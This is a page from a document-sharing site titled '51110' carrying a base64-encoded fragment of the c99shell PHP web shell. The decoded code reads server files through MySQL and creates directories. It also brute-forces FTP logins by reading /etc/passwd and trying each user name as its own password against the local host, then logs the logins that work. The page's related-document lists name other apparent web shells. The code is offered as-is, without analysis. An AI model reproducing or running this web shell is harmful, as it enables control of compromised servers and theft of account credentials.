iKTsKICAgICAgaWYgKCEkcmVzdWx0KSB7ZWNobyAiPGI+RXJyb3IgaW4gcmVhZGluZyBmaWxlIChwZXJ
taXNpb24gZGVuaWVkKSE8L2I+Ijt9CiAgICAgIGVsc2UKICAgICAgewogICAgICAgZm9yICgkaT0wOyR
pPG15c3FsX251bV9maWVsZHMoJHJlc3VsdCk7JGkrKykgeyRuYW1lID0gbXlzcWxfZmllbGRfbmFtZSg
kcmVzdWx0LCRpKTt9CiAgICAgICAkZiA9ICIiOwogICAgICAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXR
jaF9hcnJheSgkcmVzdWx0LCBNWVNRTF9BU1NPQykpIHskZiAuPSBqb2luICgiXHJcbiIsJHJvdyk7fQo
gICAgICAgaWYgKGVtcHR5KCRmKSkge2VjaG8gIjxiPkZpbGUgXCIiLiRzcWxfZ2V0ZmlsZS4iXCIgZG9
lcyBub3QgZXhpc3RzIG9yIGVtcHR5ITwvYj48YnI+Ijt9CiAgICAgICBlbHNlIHtlY2hvICI8Yj5GaWx
lIFwiIi4kc3FsX2dldGZpbGUuIlwiOjwvYj48YnI+Ii5ubDJicihodG1sc3BlY2lhbGNoYXJzKCRmKSk
uIjxicj4iO30KICAgICAgIG15c3FsX2ZyZWVfcmVzdWx0KCRyZXN1bHQpOwogICAgICAgbXlzcWxfcXV
lcnkoIkRST1AgVEFCTEUgdG1wX2ZpbGU7Iik7CiAgICAgIH0KICAgICB9CiAgICAgbXlzcWxfZHJvcF9
kYigkdG1wZGIpOyAvL2NvbW1lbnQgaXQgaWYgeW91IHdhbnQgdG8gbGVhdmUgZGF0YWJhc2UKICAgIH0
KICAgfQogIH0KIH0KIGVjaG8gIjwvdGQ+PC90cj48L3RhYmxlPiI7CiBpZiAoJHNxbF9zb2NrKQogewo
gICRhZmZlY3RlZCA9IEBteXNxbF9hZmZlY3RlZF9yb3dzKCRzcWxfc29jayk7CiAgaWYgKCghaXNfbnV
tZXJpYygkYWZmZWN0ZWQpKSBvciAoJGFmZmVjdGVkIDwgMCkpeyRhZmZlY3RlZCA9IDA7fQogIGVjaG8
gIjx0cj48dGQ+PGNlbnRlcj48Yj5BZmZlY3RlZCByb3dzOiAiLiRhZmZlY3RlZC4iPC9jZW50ZXI+PC9
0ZD48L3RyPiI7CiB9CiBlY2hvICI8L3RhYmxlPiI7Cn0KaWYgKCRhY3QgPT0gIm1rZGlyIikKewogaWY
gKCRta2RpciAhPSAkZCkKIHsKICBpZiAoZmlsZV9leGlzdHMoJG1rZGlyKSkge2VjaG8gIjxiPk1ha2U
gRGlyIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRta2RpcikuIlwiPC9iPjogb2JqZWN0IGFscmVkeSBleGl
zdHMiO30KICBlbHNlaWYgKCFta2RpcigkbWtkaXIpKSB7ZWNobyAiPGI+TWFrZSBEaXIgXCIiLmh0bWx
zcGVjaWFsY2hhcnMoJG1rZGlyKS4iXCI8L2I+OiBhY2Nlc3MgZGVuaWVkIjt9CiAgZWNobyAiPGJyPjx
icj4iOwogfQogJGFjdCA9ICRkc3BhY3QgPSAibHMiOwp9CmlmICgkYWN0ID09ICJmdHBxdWlja2JydXR
lIikKewogZWNobyAiPGI+RnRwIFF1aWNrIGJydXRlOjwvYj48YnI+IjsKIGlmICghd2luKSB7ZWNobyA
iVGhpcyBmdW5jdGlvbnMgbm90IHdvcmsgaW4gV2luZG93cyE8YnI+PGJyPiI7fQogZWxzZQogewogIGZ
1bmN0aW9uIGM5OWZ0cGJydXRlY2hlY2soJGhvc3QsJHBvcnQsJHRpbWVvdXQsJGxvZ2luLCRwYXNzLCR
zaCwkZnFiX29ubHl3aXRoc2gpCiAgewogICBpZiAoJGZxYl9vbmx5d2l0aHNoKSB7JFRSVUUgPSAoIWl
uX2FycmF5KCRzaCxhcnJheSgiL2Jpbi9GQUxTRSIsIi9zYmluL25vbG9naW4iKSkpO30KICAgZWxzZSB
7JFRSVUUgPSBUUlVFO30KICAgaWYgKCRUUlVFKQogICB7CiAgICAkc29jayA9IEBmdHBfY29ubmVjdCg
kaG9zdCwkcG9ydCwkdGltZW91dCk7CiAgICBpZiAoQGZ0cF9sb2dpbigkc29jaywkbG9naW4sJHBhc3M
pKQogICAgewogICAgIGVjaG8gIjxhIGhyZWY9XCJmdHA6Ly8iLiRsb2dpbi4iOiIuJHBhc3MuIkAiLiR
ob3N0LiJcIiB0YXJnZXQ9XCJfYmxhbmtcIj48Yj5Db25uZWN0ZWQgdG8gIi4kaG9zdC4iIHdpdGggbG9
naW4gXCIiLiRsb2dpbi4iXCIgYW5kIHBhc3N3b3JkIFwiIi4kcGFzcy4iXCI8L2I+PC9hPi48YnI+Ijs
KICAgICBvYl9mbHVzaCgpOwogICAgIHJldHVybiBUUlVFOwogICAgfQogICB9CiAgfQogIGlmICghZW1
wdHkoJHN1Ym1pdCkpCiAgewogICBpZiAoIWlzX251bWVyaWMoJGZxYl9sZW5naHQpKSB7JGZxYl9sZW5
naHQgPSAkbml4cHdkcGVycGFnZTt9CiAgICRmcCA9IGZvcGVuKCIvZXRjL3Bhc3N3ZCIsInIiKTsKICA
gaWYgKCEkZnApIHtlY2hvICJDYW4ndCBnZXQgL2V0Yy9wYXNzd2QgZm9yIHBhc3N3b3JkLWxpc3QuIjt
9CiAgIGVsc2UKICAgewogICAgaWYgKCRmcWJfbG9nZ2luZykKICAgIHsKICAgICBpZiAoJGZxYl9sb2d
maWxlKSB7JGZxYl9sb2dmcCA9IGZvcGVuKCRmcWJfbG9nZmlsZSwidyIpO30KICAgICBlbHNlIHskZnF
iX2xvZ2ZwID0gRkFMU0U7fQogICAgICRmcWJfbG9nID0gIkZUUCBRdWljayBCcnV0ZSAoY2FsbGVkIGM
5OXNoZWxsIHYuICIuJHNodmVyLiIpIHN0YXJ0ZWQgYXQgIi5kYXRlKCJkLm0uWSBIOmk6cyIpLiJcclx
uXHJcbiI7CiAgICAgaWYgKCRmcWJfbG9nZmlsZSkge2Z3cml0ZSgkZnFiX2xvZ2ZwLCRmcWJfbG9nLHN
0cmxlbigkZnFiX2xvZykpO30KICAgIH0KICAgIG9iX2ZsdXNoKCk7CiAgICAkaSA9ICRzdWNjZXNzID0
gMDsKICAgICRmdHBxdWlja19zdCA9IGdldG1pY3JvdGltZSgpOwogICAgd2hpbGUoIWZlb2YoJGZwKSk
KICAgIHsKICAgICAkc3RyID0gZXhwbG9kZSgiOiIsZmdldHMoJGZwLDIwNDgpKTsKICAgICBpZiAoYzk
5ZnRwYnJ1dGVjaGVjaygibG9jYWxob3N0IiwyMSwxLCRzdHJbMF0sJHN0clswXSwkc3RyWzZdLCRmcWJ
fb25seXdpdGhzaCkpCiAgICAgewogICAgICBlY2hvICI8Yj5Db25uZWN0ZWQgdG8gIi5nZXRlbnYoIlN
FUlZFUl9OQU1FIikuIiB3aXRoIGxvZ2luIFwiIi4kc3RyWzBdLiJcIiBhbmQgcGFzc3dvcmQgXCIiLiR
zdHJbMF0uIlwiPC9iPjxicj4iOwogICAgICAkZnFiX2xvZyAuPSAiQ29ubmVjdGVkIHRvICIuZ2V0ZW5
2KCJTRVJWRVJfTkFNRSIpLiIgd2l0aCBsb2dpbiBcIiIuJHN0clswXS4iXCIgYW5kIHBhc3N3b3JkIFw
iIi4kc3RyWzBdLiJcIiwgYXQgIi5kYXRlKCJkLm0uWSBIOmk6cyIpLiJcclxuIjsKICAgICAgaWYgKCR
mcWJfbG9nZnApIHtmc2VlaygkZnFiX2xvZ2ZwLDApOyBmd3JpdGUoJGZxYl9sb2dmcCwkZnFiX2xvZyx
zdHJsZW4oJGZxYl9sb2cpKTt9CiAgICAgICRzdWNjZXNzKys7CiAgICAgIG9iX2ZsdXNoKCk7CiAgICA
gfQogICAgIGlmICgkaSA+ICRmcWJfbGVuZ2h0KSB7YnJlYWs7fQogICAgICRpKys7CiAgICB9CiAgICB
pZiAoJHN1Y2Nlc3MgPT0gMCkge2VjaG8gIk5vIHN1Y2Nlc3MuIGNvbm5lY3Rpb25zISI7ICRmcWJfbG9
nIC49ICJObyBzdWNjZXNzLiBjb25uZWN0aW9ucyFcclxuIjt9CiAgICAkZnRwcXVpY2tfdCA9IHJvdW5
kKGdldG1pY3JvdGltZSgpLSRmdHBxdWlja19zdCw0KTsKICAgIGVjaG8gIjxociBzaXplPVwiMVwiIG5
vc2hhZGU+PGI+RG9uZSE8L2I+PGJyPlRvdGFsIHRpbWUgKHNlY3MuKTogIi4kZnRwcXVpY2tfdC4iPGJ
yPlRvdGFsIGNvbm5lY3Rpb25zOiAiLiRpLiI8YnI+U3VjY2Vzcy46IDxmb250IGNvbG9yPWdyZWVuPjx
iPiIuJHN1Y2Nlc3MuIjwvYj48L2ZvbnQ+PGJyPlVuc3VjY2Vzcy46Ii4oJGktJHN1Y2Nlc3MpLiI8L2I
+PGJyPkNvbm5lY3RzIHBlciBzZWNvbmQ6ICIucm91bmQoJGkvJGZ0cHF1aWNrX3QsMikuIjxicj4iOwo
gICAgJGZxYl9sb2cgLj0gIlxyXG4tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0
51110
51110
51110
51110
51110
51110
51110
51110
51110
51110
51110
51110
51110
51110
51110
51110
51110
51110
51110
51110
51110
51110
51110
51110

More Related Content

Viewers also liked

Viewers also liked (15)

Context-aware and user centered evaluation of assistive systems
Context-aware and user centered evaluation of assistive systemsContext-aware and user centered evaluation of assistive systems
Context-aware and user centered evaluation of assistive systems
 
Gourav
GouravGourav
Gourav
 
Reavtemp1
Reavtemp1Reavtemp1
Reavtemp1
 
maria CV
maria CVmaria CV
maria CV
 
Vemurafenib  918504-65-1-api
Vemurafenib  918504-65-1-apiVemurafenib  918504-65-1-api
Vemurafenib  918504-65-1-api
 
Бизнесът в игрите и игрите в бизнеса
Бизнесът в игрите и игрите в бизнесаБизнесът в игрите и игрите в бизнеса
Бизнесът в игрите и игрите в бизнеса
 
ONG_CHUNG_SIN_SGP110004
ONG_CHUNG_SIN_SGP110004ONG_CHUNG_SIN_SGP110004
ONG_CHUNG_SIN_SGP110004
 
Trends 2015: The importance of certification for internationalization by Diog...
Trends 2015: The importance of certification for internationalization by Diog...Trends 2015: The importance of certification for internationalization by Diog...
Trends 2015: The importance of certification for internationalization by Diog...
 
Gr el coll_health022015
Gr el coll_health022015Gr el coll_health022015
Gr el coll_health022015
 
P3 power point 2010
P3 power point 2010P3 power point 2010
P3 power point 2010
 
Tatip 2k15
Tatip 2k15Tatip 2k15
Tatip 2k15
 
Catalogue-2015
Catalogue-2015Catalogue-2015
Catalogue-2015
 
TRANING CERTIFICATE
TRANING CERTIFICATETRANING CERTIFICATE
TRANING CERTIFICATE
 
Michael Vittori Wmt2015
Michael Vittori Wmt2015Michael Vittori Wmt2015
Michael Vittori Wmt2015
 
Internazionalizzazione e Delocalizzazione d'impresa: Il caso Austria
Internazionalizzazione e Delocalizzazione d'impresa: Il caso AustriaInternazionalizzazione e Delocalizzazione d'impresa: Il caso Austria
Internazionalizzazione e Delocalizzazione d'impresa: Il caso Austria
 

Similar to 51110

Variational Autoencoder (VAE) 解説
Variational Autoencoder (VAE) 解説Variational Autoencoder (VAE) 解説
Variational Autoencoder (VAE) 解説Akihiro Nitta
 
Pagos electrónicos web
Pagos electrónicos webPagos electrónicos web
Pagos electrónicos webYerko Bravo
 
New Text Document
New Text DocumentNew Text Document
New Text Documentguest69f2cd
 
GPR音声合成における深層ガウス過程の利用の検討
GPR音声合成における深層ガウス過程の利用の検討GPR音声合成における深層ガウス過程の利用の検討
GPR音声合成における深層ガウス過程の利用の検討Tomoki Koriyama
 
Help mijn website is gehackt - Joomla User Group Den Bosch 2014
Help mijn website is gehackt - Joomla User Group Den Bosch 2014Help mijn website is gehackt - Joomla User Group Den Bosch 2014
Help mijn website is gehackt - Joomla User Group Den Bosch 2014Peter Martin
 

Similar to 51110 (10)

c99
c99c99
c99
 
Sym.php;doc
Sym.php;docSym.php;doc
Sym.php;doc
 
Sh.php
Sh.phpSh.php
Sh.php
 
Variational Autoencoder (VAE) 解説
Variational Autoencoder (VAE) 解説Variational Autoencoder (VAE) 解説
Variational Autoencoder (VAE) 解説
 
C99
C99C99
C99
 
wreewrer
wreewrerwreewrer
wreewrer
 
Pagos electrónicos web
Pagos electrónicos webPagos electrónicos web
Pagos electrónicos web
 
New Text Document
New Text DocumentNew Text Document
New Text Document
 
GPR音声合成における深層ガウス過程の利用の検討
GPR音声合成における深層ガウス過程の利用の検討GPR音声合成における深層ガウス過程の利用の検討
GPR音声合成における深層ガウス過程の利用の検討
 
Help mijn website is gehackt - Joomla User Group Den Bosch 2014
Help mijn website is gehackt - Joomla User Group Den Bosch 2014Help mijn website is gehackt - Joomla User Group Den Bosch 2014
Help mijn website is gehackt - Joomla User Group Den Bosch 2014
 

51110